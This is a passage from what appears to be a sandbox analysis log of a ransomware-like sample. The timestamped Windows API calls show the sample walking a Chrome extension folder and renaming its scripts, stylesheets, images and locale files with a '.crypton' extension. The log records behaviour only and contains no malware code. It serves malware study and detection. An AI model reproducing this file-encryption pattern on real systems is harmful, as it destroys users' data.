"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.crypton"), dwFlags=0x2) returned 1 [0192.842] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.crypton"), dwFlags=0x2) returned 1 [0192.849] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82896f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf04e5140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf04e5140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0192.852] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.crypton"), dwFlags=0x2) returned 1 [0192.858] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8289e4a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf050b2a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf050b2a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0192.862] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.crypton"), dwFlags=0x2) returned 1 [0192.869] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828a32c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf050b2a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf050b2a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0192.907] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.crypton"), dwFlags=0x2) returned 1 [0192.913] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.crypton"), dwFlags=0x2) returned 1 [0192.918] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.crypton"), dwFlags=0x2) returned 1 [0192.921] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.crypton"), dwFlags=0x2) returned 1 [0192.923] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.crypton"), dwFlags=0x2) returned 1 [0192.925] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.crypton"), dwFlags=0x2) returned 1 [0192.928] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.crypton"), dwFlags=0x2) returned 1 [0192.930] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.crypton"), dwFlags=0x2) returned 1 [0192.936] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82665710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf05a3820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf05a3820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0192.940] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8266a530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf05c9980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf05c9980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.946] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82676880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf05c9980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf05c9980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.951] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826a0090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf05c9980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf05c9980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.956] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ac3e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf05efae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf05efae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.961] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf05efae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf05efae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.968] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826c2370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0615c40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0615c40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.973] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ce6c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0615c40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0615c40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.978] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826d8300, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0615c40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0615c40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.983] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826e9470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf063bda0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf063bda0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.989] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826f30b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf063bda0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf063bda0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.994] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ff400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf063bda0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf063bda0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.002] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82709040, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0661f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0661f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.007] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82715390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0661f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0661f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.013] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8271efd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0661f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0661f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.019] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82728c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0688060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0688060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.025] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827412b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0688060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0688060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.030] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8274aef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0688060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0688060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.035] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82752420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf06ae1c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf06ae1c0, 